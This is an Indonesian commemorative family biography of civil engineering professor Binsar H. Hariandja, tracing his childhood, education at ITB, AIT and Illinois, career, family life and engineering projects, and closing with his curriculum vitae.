Biografi Keluarga Binsar Hariandja
Sekapur Sirih
Count your blessing, itulah motto yang dipegang oleh jubilaris ini dalam kesempatan menyukuri semua berkat yang telah dia terima dari Tuhan. Dari mulai masa kecil di kampung Hariandja, Pangaribuan, Tapanuli Utara, menuntut ilmu di Bandung, Bangkok dan Urbana-Champaign, meniti karier akademis hingga jenjang guru besar, pengalaman terapan di lapangan, penelitian hingga pengabdian ditekuninya dengan tabah lengkap dengan susah payahnya. Dalam aspek kekeluargaan, menikah, menimang anak, memanjakan cucu, dinikmatinya dengan puas. Dalam semua kurun waktu, betapa besar anugerah yang dia dan keluarganya terima dari pada Tuhan.
Itulah yang mendorong anak-anaknya dan cucu-cucunya untuk mengadakan acara syukuran khususnya dalam tiga hal. Yang pertama, dia mencapai masa purna bakti sebagai pegawai negeri. Kedua, dia mencapai umur tujuh puluh tahun. Ketiga, umur pernikahan yang mencapai dua puluh tahun. Buku ini disusun untuk merayakan ketiga hal tersebut di atas. Semoga acara syukuran ini menjadi pujian dan kemuliaan bagi-Nya.
Jakarta, Oktober 2018
Penyusun
Riwayat Hidup Binsar H. Hariandja
Kelahiran
Binsar Halomoan Hariandja lahir di Kampung Hariandja, Pangaribuan, Tapanuli Utara tanggal 9 Juli 1948 sewaktu terjadi agressi kedua. Orang tuanya bercerita bahwa dia lahir di pengungsian tanpa bantuan bidan dan hanya diselimuti dengan ulos. Hariandja Pangaribuan berada di sebelah timur kota Tarutung, ibu kota Kabupaten Tapanuli Utara. Orang tuanya bernama Madin Hariandja, yang semasa hidupnya mengajar di Sekolah Rakjat (SR), Sekolah Guru B (SGB), Sekolah Menengah Pertama (SMP), dan sebagai Guru Jemaat di gereja. Ibunya bernama Tiana Pakpahan, sehari-hari berperan sebagai ibu rumah tangga.
Keluarga ini dikaruniai sembilan anak, lima putra dan empat putri. Anak pertama bernama Tumiar (putri) yang meninggal pada saat bayi, anak kedua Sadima (putri), anak ketiga Jusry Porman (putra), anak keempat Nurmi (putri), anak kelima Binsar Halomoan (putra), anak keenam Sampang Taripar (putra), anak ketujuh Rotua Peninna Dumatiar (putri), anak kedelapan Toman Manahan (putra) dan anak kesembilan Sabar Parulian (putra).
Sewaktu berumur dua tahun, orang tua membawanya ke Tarutung dan masuk Sekolah Rakjat tahun 1954 dan lulus tahun 1960. Sebelum masuk Sekolah Rakjat, dia sudah lancar membaca dan menulis karena di rumah mereka ada tiga orang siswa SGB, yaitu Humala Hariandja, Rompu Gultom dan Tumoar Pakpahan, mereka menjadikan dia sebagai murid praktek. Dia masuk Sekolah Menengah Pertama Pangaribuan tahun 1960 dan lulus tahun 1963. Dia melanjut ke Sekolah Menengah Atas Tarutung tahun 1963 dan lulus 1966. Waktu itu terjadi G30S sehingga hasil ujian akhir SMA baru diumumkan akhir tahun 1966. Ayahnya sakit mulai bulan April tahun itu dan meninggal bulan Oktober 1966 sebelum pengumuman hasil ujian SMA. Perihal yang perlu dicatat selama dia di bangku sekolah SR/SMP/SMA adalah kejadian pergolakan PRRI dan peristiwa G30S. Karena itu, praktis sekolahnya sangat tidak teratur sehingga kebanyakan dia belajar sendiri di rumah. Tahun 1966 dia lulus SMA sebagai lulusan terbaik se-Tapanuli. Ternyata kebiasaan belajar sendiri menjadi modalnya yang sangat ampuh sewaktu belajar di perguruan tinggi kelak. Buku Matematika karangan Han Kwat Tik (Matematika ITB), Fisika karangan Widagdo, dan Kimia karangan Polling, sampai lusuh dan hancur dia pelajari sewaktu menghadapi ujian saringan masuk perguruan tinggi.
Masa Awal Pembentukan Cita-Cita
Binsar Hariandja memilih jurusan yang akan dia jelang nantinya lewat proses yang unik. Orang tuanya terkenal gemar olah raga bulu tangkis dan setiap usai berolah raga, membawanya mandi di sungai. Sewaktu masih kecil, suatu sore dia mandi di sungai yang airnya cukup deras sehingga kepalanya terantuk besi. Dia tanya ayahnya itu apa, ayahnya menjawab bahwa itu adalah tiang jembatan. Siapa yang membangun jembatan? Insinyur teknik, jawab ayahnya. Teknik apa? Ayahnya tidak bisa menjawab, dan dia merasa sangat penasaran. Rasa ini dipendamnya cukup lama.
Baru sekitar tahun 1963 abangnya yang paling besar, Porman, studi di Bandung dan dia tanya yang rencanakan jembatan itu insinyur apa. Abangnya menjawab insinyur Teknik Sipil dan abangnya menambahkan bahwa ada Jurusan Teknik Sipil yang paling tua di Indonesia, yaitu di Institut Teknologi Bandung, disingkat ITB, almamaternya Bung Karno. Sejak itu semangatnya membara harus masuk di ITB, ITB, ITB dan ITB….
Masuk Perguruan Tinggi
Sebelum hasil ujian akhir SMA diumumkan, ayahnya meninggal bulan Oktober 1966. Dalam masa berkabung, hasil ujian baru diumumkan bulan November dan dia berangkat ke Pulau Jawa tanggal 20 Desember dan mendarat di Jakarta 23 Desember 1966. Tanggal 24 Desember dia mendaftar di Jurusan Fakultas Teknologi dan Mekanisasi Pertanian (Fatemeta), Institut Pertanian Bogor. Tanggal 4 Januari 1967 dia berangkat ke Bandung dan ternyata pendaftaran ujian saringan masuk ITB telah ditutup. Dia kemudian mendaftar dan ujian saringan masuk Jurusan Teknik Sipil Universitas Parahiyangan. Sewaktu dia merenung karena tidak bisa mendaftar saringan masuk ITB, via radio 8EH ITB dia mendengar bahwa pendaftaran dibuka kembali dan dia bergegas ke Gedung PIAI untuk mendaftar.
Di lokasi pendaftaran, petugas menanyakan kelengkapan berkasnya, ….. ijasah?….. ini salinan mas, ……salinan rapor?, …..ini ada mas, …..akte kelahiran?….. oh, saya sudah lahir mas, …..surat kelakuan baik?, …..saya selalu berkelakuan baik mas, ….. surat bebas G30S?, …..oh saya tidak ikut mas. Saudara tidak memiliki berkas yang lengkap, jadi tidak bisa mendaftar, maaf. Padahal sejak bangku SR, cita-citanya adalah masuk Teknik Sipil ITB, sekolahnya Bung Karno itu.
Dalam keadaan galau, “anak keras kepala” ini nongkrong di tempat pendaftaran. Hingga sore, dia ngotot tidak mau meninggalkan tempat pendaftaran. Rupanya para petugas merasa kasihan dan akhirnya salah seorang berkata, …..begini saja dek, bikin surat pernyataan dengan materai bahwa jika diterima, anda wajib melengkapi data-data pribadi. Segeralah dia membuat surat pernyataan yang diminta itu. Ternyata kemudian, dia diterima di ITB dan hingga sekarang pelengkapan data-data pribadi itu tidak pernah dilakukannya.
Akhir Januari 1967 datanglah panggilan dari IPB bahwa dia diterima di sana. Dia mengikuti mapram (versi pelonco masa itu) bulan Febuari 1967 penuh dan selama itu dia mondok di rumah keluarga Pandjaitan/br Hariandja. Pada hari terakhir mapram pukul 14.00 WIB datang panggilan dari ITB bahwa dia diterima di sana. Malam api unggun penutupan mapram itu dirayakan rekan-rekannya dengan isak tangis penuh haru, namun pikiran dia sendiri telah melayang ke Bandung. Pukul 02.00 WIB sehabis penutupan mapram dia segera berangkat ke Bandung dan mengikuti mapram di ITB selama bulan Maret 1967. Dengan demikian, dalam tahun itu dia menjalani mapram selama dua bulan.
Perjuangan
Sewaktu berangkat dari kampung, dia hanya dibekali uang sekedarnya oleh ibunda sebagai hasil jualan ternak, dan uang tersebut “dijahit” dalam kantong supaya tidak hilang. Selama dua tahun pertama dia tidak mendapat kiriman apa-apa dari ibunda karena pensiunan janda belum keluar. Abangnya yang paling besar, Porman baru saja menikah dan baru ditempatkan bekerja di PLN Denpasar. Selama dua tahun dia menumpang di indekostan temannya, Paido Hariandja (alm.) dan Sahat Tambunan (alm.). Di tempat indekostan hanya ada dua meja belajar dan dua tempat tidur. Sewaktu mereka belajar, dia tidur dan sewaktu mereka tidur, dia belajar. Dengan demikian, dia tidak perlu membeli meja belajar dan tempat tidur.
Sewaktu di ITB dua tahun pertama waktu itu, keadaan perekonomian Indonesia sangat prihatin karena permulaan masa Orde Baru. Beras waktu itu tidak ada, yang ada adalah bulgur, semacam makanan ternak di Amerika dan diimpor untuk makanan penduduk di Indonesia. Berangkat pagi ke kampus dengan hanya minum air putih segelas, kuliah sampai pukul 15.00 WIB tanpa makan siang, praktikum pukul 15.00-17.00 WIB dengan perut keroncongan, dan tiba di tempat indekost pukul 18.00 WIB, baca-baca buku sebentar dan kemudian ….. makan bulgur sebagai makan malam. Begitulah kegiatan dan kondisi rutin selama dua tahun di ITB. Tetapi dia selalu lulus bersih mata kuliah selama empat semester itu dan mendapat ijasah sarjana muda. Dengan bekal itu dia bisa masuk asrama D Villa Merah, dan diangkat sebagai asisten dosen Matematika. Baru kemudian dia diangkat sebagai asisten dosen Jurusan Teknik Sipil. Kerjaan dia adalah mengintip petugas pengawas ujian yang absen untuk dia gantikan demi mendapatkan uang honor pengawas, lumayan untuk membayar uang makan di asrama. Selama kuliah semester dua sampai semester sepuluh (akhir), dia tidak pernah membayar uang kuliah karena selalu mendapatkan bebas uang kuliah dari rektorat maupun dari dewan mahasiswa. Beasiswa selalu dia peroleh karena dia selalu lulus semua mata kuliah dalam semua semester.
Bantuan Dari Teman-teman
Sewaktu mengalami kesulitan luar biasa dalam perkuliahan, dia banyak mendapat bantuan dari teman-teman. Sewaktu luang, dia datang ke toko saudaranya, Mangihuthon Hariandja. Di sana dia bantu mengangkat beras dan sewaktu pulang dia diberi barang dua liter beras, cukup untuk makan satu minggu. Teman-teman lain juga membantu dengan menyodorkan beberapa mahasiswa baru yang dia beri bimbingan Matematika untuk mendapatkan honor.
Gaji Pensiun Janda Ibunda
Setelah ayahanda meninggal bulan Oktober 1966, sampai dua tahun pertama pensiunan janda ibunda juga belum keluar. Iparnya, M.P. Papahan berikan kabar bahwa berkas sudah komplit dan dikirimkan ke Bandung. Pada masa itu, pensiunan hanya dikeluarkan di Bandung untuk seluruh Indonesia. Untuk uang makan sehari-hari dia mendapat kiriman bulanan dari keluarga abangnya yang baru bekerja di PLN Denpasar Bali dalam jumlah sangat terbatas karena abangnya baru bekerja dan meniti karier dari bawah.
Karena sudah menunggu lama, akhirnya dia datangi kantor pensiunan di Jalan Diponegoro, Bandung. Ternyata berkas sudah lama lengkap dan sampai di Bandung tapi belum juga diproses. Dia ambil berkas tersebut lalu mengetok kantor Kepala Pensiunan, seorang tua beruban yang kelihatannya sudah cukup berumur. Ada masalah apa dek? katanya. Saya mahasiswa di ITB dan selama ini mengalami kesulitan karena pensiunan janda orang tua belum juga keluar, jawabnya. Oh begitu, kata sang kepala sambil menyuruh dia pulang. Dia sangat penasaran karena kepala tersebut hanya berbicara enteng seakan masalah tersebut kecil baginya. Benar juga, tidak sampai satu bulan surat keputusan sudah keluar dan rappel diterima ibunda di kampung. Terima kasih pak kepala yang ternyata adalah bapak Lubis, penatua di gereja HKBP Martadinata Bandung.
Meniti Karier
Binsar Hariandja lulus Teknik Sipil ITB tahun 1972. Waktu itu dia menghadapi dua pilihan, bekerja di perusahaan konsultan atau memilih sebagai dosen. Pertama, dia memilih bekerja di perusahaan dan diterima di konsultan Indah Karya sebagai tenaga harian. Kemudian, dia memikirkan bahwa masih ada adik-adik yang ingin melanjut di perguruan tinggi yang sebaiknya dipusatkan di Bandung agar bisa menampung beberapa adik supaya biaya lebih murah. Akhirnya, dia mengajukan diri menjadi pegawai negeri dan bulan Maret tahun 1973 dia diterima sebagai CPNS dan bulan Maret 1975 sebagai PNS di Jurusan Teknik Sipil, Institut Teknologi Bandung.
Melanjut ke Pascasarjana
Belum lama dia mengajar di ITB, tahun 1973 dia melanjut ke Asian Institute of Technology (AIT) di Bangkok, Thailand, satu sekolah pascasarjana yang didirikan oleh Amerika Serikat. Di sana dia mendapatkan pendidikan lanjut dalam bidang Teknik Sipil Struktur.
Dia menyelesaikan studi di Bangkok tahun 1975 dan kembali ke tanah air, Dia menikah bulan Maret 1977 dengan Margrieta Tobing, putri dari St. Salomo Lumbantobing dan Christia Dora boru Hutasoit. Bulan Oktober 1978 lahir seorang putri, Johanna Renny Octavia. Bulan Juni dia ditempatkan oleh konsultan di Paris, Perancis untuk merencanakan bandara Internasional Cengkareng yang kemudian dinamakan Bandara Soekarno-Hatta. Tanggal 2 Januari 1979 dimulai pelaksanaan pembangunan bandara Cengkareng.
Namun tugas mengharuskan dia untuk meninggalkan proyek besar itu, untuk segera tanggal 6 Januari 1979 berangkat studi doktoral di Civil Engineering, University of Illinois at Urbana-Champaign, Illinois, USA dan tahun 1985 mendapatkan gelar Philosophy of Doctor (Ph.D). Di sana dia ketemu dengan pengajar kaliber dunia, seperti Prof. Nathan Newmark, akhli gempa seluruh dunia dan Prof. Ven Te Chow, akhli bangunan air itu. Di sana lahir anak kedua, Jonathan Mangasa Tua tanggal 2 Agustus 1982. Bulan Juli tahun 1985 keluarga ini pulang ke tanah air. Tiba di tanah air, dia mendapatkan bahwa semua adik-adiknya sudah lulus sarjana, Manahan dari Geologi UNPAD, Effendi dari Fisipol UNPAR dan Sabar sarjana dan apoteker dari Farmasi ITB.
Merintis Karier Dari Bawah
Kembali ke tanah air dan memulai kehidupan baru sebagai seorang dosen bukanlah hal yang mudah, segala sesuatu mulai dirintis dari bawah, termasuk pertama kali mencari rumah kontrakan. Sebelum mendapatkan rumah, sementara keluarga ini menumpang di kost-an adiknya. Sementara, dia meminjam mobil dari temannya, Dolok Napitupulu.
Tahun 1986 dia ditempatkan sebagai Sekertaris Tahap Persiapan Bersama (TPB) ITB dan tahun 1990 sebagai ketua, dan baru digantikan dalam tahun 1994. Selama hampir sepuluh tahun dia bekerja sebagai petugas di TPB, tiap awal tahun kuliah menerima mahasiswa baru dalam penataran P4 pagi, siang dan malam serta menangani hampir 2000 mahasiswa setiap tahunnya. Tahun 1988 dia menerima penghargaan sebagai dosen teladan ITB.
Kemudian, di tahun 1992 mengikuti kursus akte belajar-mengajar, Applied Approach (AA) di Ditjen Dikti Depdikbud dan mengikuti Kursus Singkat Angkatan (KSA) IV di Lembaga Ketahanan Nasional (Lemhannas), Departemen Pertahanan dan Keamanan, Republik Indonesia.Tahun 1999 dia diangkat sebagai Guru Besar Teknik Sipil Institut Teknologi Bandung.
Di luar pengabdian di ITB, tahun 1998 dia menerima tugas sebagai Pembantu Assisten Menteri di Menperkim, dan tahun 1999 sebagai Sekertaris Balitbang dan Kepala Pusat Permukiman, Departemen Pemukiman dan Pengembangan Wilayah (Kimbangwil), dan terakhir sebagai Staff Ahli Perumahan, Departemen Pekerjaan Umum (PU) tahun 2001.
Apresiasi Pendidikan
Semasa hidupnya dari sejak kecil dia selalu berada dalam lingkungan pendidikan. Ayahnya yang semasa hidupnya bekerja sebagai guru Sekolah Rakjat, Sekolah Guru B dan Sekolah Menengah Pertama, mendekatkan dia dengan profesi guru. Ayahanda yang juga bekerja sebagai guru jemaat di gereja, memberikan dia bekal kejujuran.
Hal tersebut di atas mengarahkan dan mendorong dia memilih menjadi dosen, di Jurusan Teknik Sipil, Institut Teknologi Bandung. Sewaktu mengambil tugas akhir (skripsi), dia dibimbing oleh Prof. Ir. KPH Sosrowinarso Sosrodiningrat, M.Sc., Ph.D yang meminjamkan dia banyak buku sebagai referensi. Selain mengajar, dia juga sangat aktif dalam aplikasi lapangan. Dalam kaitan ini, dia sangat mengidolakan figur terkenal seperti Prof. Ir. R. Roosseno dan Prof. Dr. Ir. Wiratman Wangsadinata.
Tabel 1: Daftar Keluarga Binsar Hariandja
Sewaktu belajar di Asian Institute of Technology, dia sangat mengidolakan Prof. Seng-Lip Lee dan Prof. Soshuke Morino. Di University of Illinois at Urbana-Champaign dia belajar dari pengajar yang terkenal, seperti Prof. Nathan M. Newmark, Prof. William D. Schnobrich, Prof. Mete A. Sozen, Prof. Jamshid Gabouzzi dan Prof. Robert Haber (pembimbing dissertasi).
Suka dan Duka Keluarga
Tahun 1977 dia menikah dengan Margrieta br. Tobing, putri dari Bapak Salomo Lumbantobing dan ibu boru Hutasoit. Bulan Oktober 1978 lahir putri bernama Johanna Renny Octavia di Bandung. Bulan Agustus 1982 lahir putra, Jonathan Mangasa Tua di Champaign, Illinois, USA. Bulan April 1987 lahir putra, David Ramot Parluhutan di Bandung dan bulan November 1991 lahir putra, Timothy Sipatota.
Bulan November 1993 istrinya, Margrieta tutup usia dalam umur 38 tahun karena penyakit jantung. Bulan Maret 1994 dia menikah dengan Rosalina Christina yang tidak lama kemudian, tutup usia di tahun 1998 dalam umur 47 tahun karena penyakit kanker. Di tahun itu dia menikah dengan Rd. Henniwaty Yusuf, putri dari Kol. (Pur) H. Rd. Yusuf Marzuki dan Maria Dresia van Jogom yang kemudian diberi marga Gultom. Istri yang terakhir ini membawa dua anak, Suzan Angelayana dan Arief Darmawan. Dengan demikian, keluarga ini memiliki enam orang anak, empat putra dan dua putri.
Bulan Oktober nikah anak pertama, Susan dengan Susilo Edi. Bulan Maret 2004 nikah anak kedua, Arief Darmawan dengan R.A. Arieska Purbayaningrum. Bulan Agustus 2005 menikah putri, Johanna Renny Octavia di Jakarta dengan Charles Sitompul.
Bulan Maret 2012 menikah anak, Jonathan Mangasa Tua di Bandung dengan Tiur Esmiranti boru Siregar. Bulan Agustus 2001 lahir cucu pertama, Michael Rasendria Widiantomo. Bulan Desember 2005 lahir cucu kedua, Sakura Athaya. Bulan Juli 2006 lahir cucu ketiga, Karel Andrade Joaquin Alexander Sitompul di Belgia. Bulan April 2008 lahir cucu keempat, Aidan Sebastian Nathaniel Parasian Sitompul di Belgia. Bulan April 2011 lahir cucu kelima, Calin. Bulan Desember 2012 lahir cucu keenam, Cataleya Maharina Nathalie Hariandja di Bandung.
Binsar Hariandja sangat menyukuri berkat yang dia dan keluarganya terima dari Tuhan. Betapapun, sebagai manusia tentunya bukan hanya sukacita yang diharapkan, tetapi dukacita juga harus tabah dihadapi. Sekalipun ditimpa kemalangan beruntun atas kematian istri, dia tetap tabah menghadapinya. Dia memiliki motto …..kematian tidak mendikte kehidupan. Manusia harus siap menghadapi apapun dalam kehidupan, apa itu suka maupun duka. Dia memegang motto ayahandanya …..orang yang tidak mampu menghadapi duka bisa jadi gila dan yang tidak bisa menerima suka menjadi tidak waras….
Mendapat Berkat
Dalam aspek pendidikan, keluarga ini mendapat berkat melimpah. Tahun 2000 lulus putri, Suzan Angelayana dari Perbanas. Tahun 2001 lulus putri, Johanna dari Jurusan Teknik Industri Institut Teknologi Bandung, dan kemudian mendapatkan gelar Master dari Delft University, Belanda dan gelar Doktor dari Mansfelt University, Belgia. Tahun 2008 lulus anak, Arief Dermawan dari Jurusan Hubungan Internasional Universitas Jayabaya. Tahun 2008 lulus anak, Jonathan dari Jurusan Hukum Universitas Parahiyangan. Tahun 2012 lulus anak, David dari Program Studi Geodesi, Institut Teknologi Bandung. Tahun 2018 lulus anak ke-enam, Timothy Sipatota dari Fakultas Hukum Universitas Katolik Parahyangan.
Menantu, Arieska lulus sarjana Hubungan Internasional dari Universitas Jayabaya tahun 2002. Menantu, Charles lulus sarjana Teknik Industri tahun 2000 dari Program Studi Teknik Industri Institut Teknologi Bandung dan Master dari program studi yang sama tahun 2002. Tahun 2010 dia mendapatkan gelar Doktor dari Mansfelt University. Menantu, Tiur Esmiranti lulus sarjana dari Jurusan Hubungan Internasional Universitas Maranatha tahun 2000 dan lulus program Magister dari jurusan yang sama di tahun 2002.
Pengabdian
Dari tahun 1973 hingga kini dia telah mengabdikan diri sebagai pengajar dan pendidik selama lebih dari 45 tahun. Selama itu dia selalu berpegang pada prinsip, bahwa ilmu yang didapat oleh siswa atau mahasiswa bukan hanya dalam kepandaian (berkat pengajaran) tetapi juga dalam perilaku (berkat pendidikan).
Dalam bidang penelitian, dia aktif dalam sistem beton pracetak. Justru dalam keadaan kesulitan moneter, tahun 1998 bersama rekan-rekan dia mendirikan Ikatan Ahli Pracetak dan Prategang Indonesia (IAPPI) dan bertugas sebagai ketua umum yang pertama. Bersama rekan-rekan dia giat meneliti dan merencanakan serta mematenkan beberapa sistem bangunan pracetak; antara lain sistem Bresphaka, sistem T-Cap dan Jasuba-Kim.
Dia giat melakukan terjemahan buku asing (4 buku) dan beberapa buku karangan asli, antara lain Mekanika Rekayasa I s/d IV, Matematika Terapan I s/d IV, Metoda Elemen Hingga, Analisis dan Perencanaan Elastis Beton Bertulang, Analisis dan Perencanaan Kuat Batas Beton Bertulang, Perencanaan Beton Prategang, Perencanaan Beton Komposit dan Metode Elemen Hingga. Dia juga giat menyusun beberapa program komputer yang dapat digunakan dalam analisis sistem struktur.
Selain mendidik dan mengajar dalam lingkungan akademis, dia juga sering berperan di lapangan sebagai perencana, studi kelayakan dan pengawas pelaksanaan konstruksi. Proyek yang pernah ditanganinya antara lain proyek 400 gudang Bulog di seluruh Indonesia, gedung Bulog Jakarta, Bandara Cengkareng, desain rumah susun di Soekarno-Hatta Bandung, underpass Manggarai Jakarta, jembatan cancang (cable-stayed bridge) di Ambon, studi kelayakan bendungan Sungai Kayan, Kalimantan Timur dan Perencanaan Gedung Perkantoran Sopo-Del 40 lantai di Mega Kuningan, Jakarta.
Karier Lanjutan
Tahun 1998 dia diperbantukan sebagai Pembantu Asisten Menteri di Kementerian Peruramahan Rakyat da Permukiman (Menperkim). Tahun 1999 Kemenperkim dan Departemen Pekerjaa Umun disatukan lalu kemudian dibagi dua menjadi Menegperkim dan Departemen Permukiman dan Pengembangan Wilayah (Kimbangwil). Di departemen ini dia menjabat sebagai Sekretaris Balitbang dan kemudian sebagai Kepala Pusat Pusat Penelitian Permukiman di Bandung. Tahun 2001 Dia diangkat sebagai Widyaswara Permukiman, dan tahun 2002 di kembali mengajar di Institut Teknologi Bandung.
Penutup
Count your blessing, itulah motto yang dipegang oleh jubilaris ini dalam kesempatan menyukuri semua berkat yang telah dia terima dari Tuhan. Dari mulai masa kecil di kampung Hariandja, Pangaribuan, Tapanuli Utara, menuntut ilmu di Bandung, Bangkok dan Urbana-Champaign, meniti karier akademis hingga jenjang guru besar, pengalaman terapan di lapangan, penelitian hingga pengabdian ditekuninya dengan tabah, lengkap dengan susah payahnya. Dalam aspek kekeluargaan, menikah, menimang anak, memanjakan cucu, dinikmatinya dengan puas. Dalam semua kurun waktu, betapa besar anugerah yang dia dan keluarganya terima dari pada-Nya.
Itulah yang mendorong anak-anaknya untuk mengadakan acara syukuran khususnya dalam tiga hal. Yang pertama, dia dapat menyelesaikan tugasnya sebagai pegawai negeri hingga mencapai masa purna bakti. Kedua, dia diberikan oleh Tuhan umur yang panjang hingga mencapai umur tujuh puluh tahun. Ketiga, umur pernikahan yang mencapai dua puluh tahun.
Anak-anak dan cucu-cucu sepakat untuk meluangkan waktu dalam menyusun buku peringatan darma bakti, ulang tahun kelahiran dan ulang tahun pernikahan. Buku ini dipersembahkan buat handai tolan dengan harapan agar kisah kehidupan dalam buku ini dapat dimanfaatkan sebagai teladan bagi kita dalam menyukuri berkat yang kita terima dari pada-Nya. Biografi ini ditutup dengan motto yang selalu dia terapkan semasa hidupnya:
“Gunakanlah umurmu yang diperpanjang Tuhan untuk membayar hutangmu kepada-Nya.”
“The best does not come easy.”
Jakarta, medio Juli 2018
Curriculum Vitae Binsar H. Hariandja
Nama Lengkap: Prof.Ir. Binsar H. Hariandja,M.Eng.,Ph.D
Tempat/Tgl. Lahir: Tarutung, 9 Juli 1948
Pekerjaan: Pegawai Negeri Sipil
NIP: 130 364 284
Pangkat: Pembina Utama, Gol. IV/e
Jabatan Fungsional: Guru Besar Teknik Sipil, ITB
Status: Menikah, Istri Rd. Henniwaty
Pendidikan
1. 1954 – 1960: Sekolah Rakjat, Tarutung.
2. 1960 – 1963: Sekolah Menengah Pertama, Tarutung.
3. 1963 – 1966: Sekolah Menengah Atas, Tarutung.
4. 1967 – 1972: Jurusan Teknik Sipil, Institut Teknologi Bandung, lulus Sarjana Teknik Sipil (Ir) Tahun 1972.
5. 1973 – 1975: Structural Engineering Department, Asian Institute of Technology, Bangkok, Thailand, mendapat gelar magister (M.Eng.) Tahun 1975.
6. 1979 – 1985: Civil Engineering Department, University of Illinois at Urbana-Champaign, USA, lulus Philosophy of Doctor (Ph.D) Tahun 1985
Kursus Tambahan
1. 1986: Penataran P4 Pegawai Negeri Tipe A Pola 140 jam, Daerah Tingkat I Propinsi Jawa Barat.
2. 1989: Kursus, Program JISEA (Japan Iron and Steel Exporters Association) Tokyo, Japan.
3. 1989: Ujian kenaikan jabatan, AKTA V, Ditjen DIKTI, Depdikbud.
4. 1990: Penataran Pendidikan Program Belajar-Mengajar “Applied Approach”’ Ditjen DIKTI, Depdikbud.
5. 1994: Kursus KSA-IV, Lembaga Ketahanan Nasional (LEMHANNAS), Departemen Pertahanan Keamanan, Republik Indonesia.
6. 2008: Sertifikasi Pendidikan, Direktorat Jenderal Pendidikan Tinggi, Departemen Pendidikan Nasional
Jabatan Struktural dan Fungsional
1. 1973 – sekarang: Dosen Tetap, Teknik Sipil, Institut Teknologi Bandung.
2. 1986 – 1990: Sekretaris Bidang Akademis, Program Tahap Persiapan Bersama, Institut Teknologi Bandung.
3. 1990 – 1995: Ketua, Program Tahap Persiapan Bersama, Institut Teknologi Bandung.
4. 1993 – sekarang: Senat Fakultas Teknik Sipil dan Perencanaan, Institut Teknologi Bandung.
5. 1998 – 2002: Koordinator Sub-Jurusan (KSJ) Struktur, Jurusan Teknik Sipil, Institut Teknologi Bandung.
6. 1999 – sekarang: Guru Besar Teknik Sipil, Institut Teknologi Bandung.
7. 1999 – 2000: Wakil Ketua, Pusat Antar Universitas Ilmu Rekayasa, Institut Teknologi Bandung.
8. 1999 – 2000: Staf Ahli (Non Struktural, Kelompok Kerja) Menperkim, Republik Indonesia.
9. 1999 – 2000: Pembantu Assisten Menteri Negara Perumahan dan Permukiman Republik Indonesia.
10. 1999 – 2000: Sekretaris Badan Penelitian dan Pengembangan (Balitbang), Departemen Permukiman dan Prasarana Wilayah, Republik Indonesia.
11. 2000 – 2001: Kepala Pusat Badan Penelitian dan Pengembangan Teknologi Permukiman, Depkimpraswil, RI.
12. 2001 – 2002: Tenaga Ahli Fungsional, Bidang Perumahan dan Permukiman, Depkimpraswil, Republik Indonesia.
Pengalaman Kerja
1. Maret 1973: Diangkat menjadi Dosen Tetap, Departemen Teknik Sipil, Institut Teknologi Bandung.
2. 1973 – 1975: Tugas Belajar, Program Master, Structural Division, Asian Institute of Technology, Bangkok, Thailand.
3. 1979 – 1985: Tugas Belajar Program Doctor, Civil Engineering, University of Ilinois, USA.
4. 1987: Senior Researcher, PAU Ilmu Rekayasa.
5. 1987 – 1990: Anggota Panitia Pembaharuan Peraturan Beton Indonesia.
6. Januari 1987: Anggota Pengurus Laboratorium Komputer Jurusan Teknik Sipil, Institut Teknologi Bandung.
7. Maret 1987: Anggota Komisi Informasi Pendidikan S-2, Jurusan Teknik Sipil, Institut Teknologi Bandung.
8. Juli 1988: Anggota Komisi Akademis (Matematika), Program S-2 Jurusan Teknik Sipil, Institut Teknologi Bandung.
9. Mei 1988: Anggota Perumus Penilaian, Program S-2, Jurusan Teknik Sipil, Institut Teknologi Bandung.
10. Juli 1989: Anggota Tim Bimbingan Kerja Praktek, Program S-1, Jurusan Teknik Sipil, Institut Teknologi Bandung.
11. 1989: Anggota Tim Bimbingan dan Konseling, Institut Teknologi Bandung.
12. 1989 – 1998: Anggota Tim Inti Applied-Approach, UPT Pendidikan Institut Teknologi Bandung.
13. 1990: Anggota Pemilihan Dosen Teladan Tingkat Fakultas, Institut Teknologi Bandung.
14. 1993: Ketua panitia penyusun kurikulum tahap persiapan bersama, Institut Teknologi Bandung.
15. 1995 – sekarang: Anggota Tim Sekoring Jurusan Teknik Sipil, Institut Teknologi Bandung.
16. 2007 – sekarang: Ketua Panitia Penyusunan Peraturan Struktur Pracetak Indonesia, Balitbang Pekerjaan Umum, RI.
17. 2015: Pemeriksaan Kerusakan Bandara Kualanamu, Sumatera Utara, tugas dari Kejaksaan Agung Republik Indonesia.
18. 2016: Pemeriksaan Kerusakan Gedung Fakultas Sosial Politik, Universitas Riau, tugas dari Kepolisian Kota Besar Pekanbaru, Riau.
19. 2016 – sekarang: Ketua Tim Ahli Bangunan Gedung (TABG) Pemerintah Kota Bekasi.
Pengalaman Terapan
1. 1976: Perencanaan pergudangan beras Bulog kapasitas 400.000 ton seluruh Indonesia, Cakung, Sunter, dan gudang penyanggah karet, Belawan, Civil Engineer, PT. Widya Pertiwi Engineer, Jakarta.
2. 1978: Perencanaan Proyek Gedung Kantor Bulog, Jl. Gatot Subroto, Jakarta.
3. 1978 – 1979: Perencanaan Proyek Pelabuhan Udara Internasional, Cangkareng, PT. Konavi, Jakarta, Aeroport du Paris.
4. 1985 – 1987: Perencanaan Kampus Universitas Andalas Limau Manis Padang, Sumbar, Senior Civil Engineering, PT. Desigras.
5. 1987: Perencanaan Fondasi Jalan Tol Cawang-Tanjung Priok, Senior Engineering, PT. JHS Piling System.
6. 1990 – 1991: Supervisi Konstruksi Penyulingan Minyak Kelapa Sawit, Sungai Lengi dan Sungai Biru, Prabumulih, PNP X, Palembang Sumatera Selatan, Senior Engineering, PT. Rekayasa Aneka Perkasa.
7. 1989 -1990: Perencanaan Proyek Perkantoran PT. Bale Bandung, Jawa Barat, Civil Engineering, P.T. Atelier Enam.
8. 1991 – 1992: Perencanaan Proyek Gedung Perkantoran, Kaltim Wisma Kencana, Jalan Kuningan, Jakarta, Senior Engineering, P.T. Atelier Enam.
9. 1992 – 1993: Perencanaan Jalan Layang, Manggarai Connection Project, Senior Engineering, P.T. Pamintori Cipta.
10. 1993 : Perencanaan Proyek Jembatan Jalan Tol, Jakarta Outer Ring Road, Senion Engineering, P.T. JHS Piling System.
11. 1994: Engineering Advisory, Proyek Gedung Kantor MPR-DPR RI, P.T. Ciriajasa CM, Jakarta.
12. 1995 – 1996: Perencanaan Proyek Perumahan Villa, Bandung, P.T. Para Bandung Propertindo.
13. 1996: Perencanaan Proyek Super Mall & FEC, Bandung, P.T. Para Bandung Propertindo.
14. 1997: Supervisi Pembangunan Jalan Tol Kampung Melayu-Bekasi.
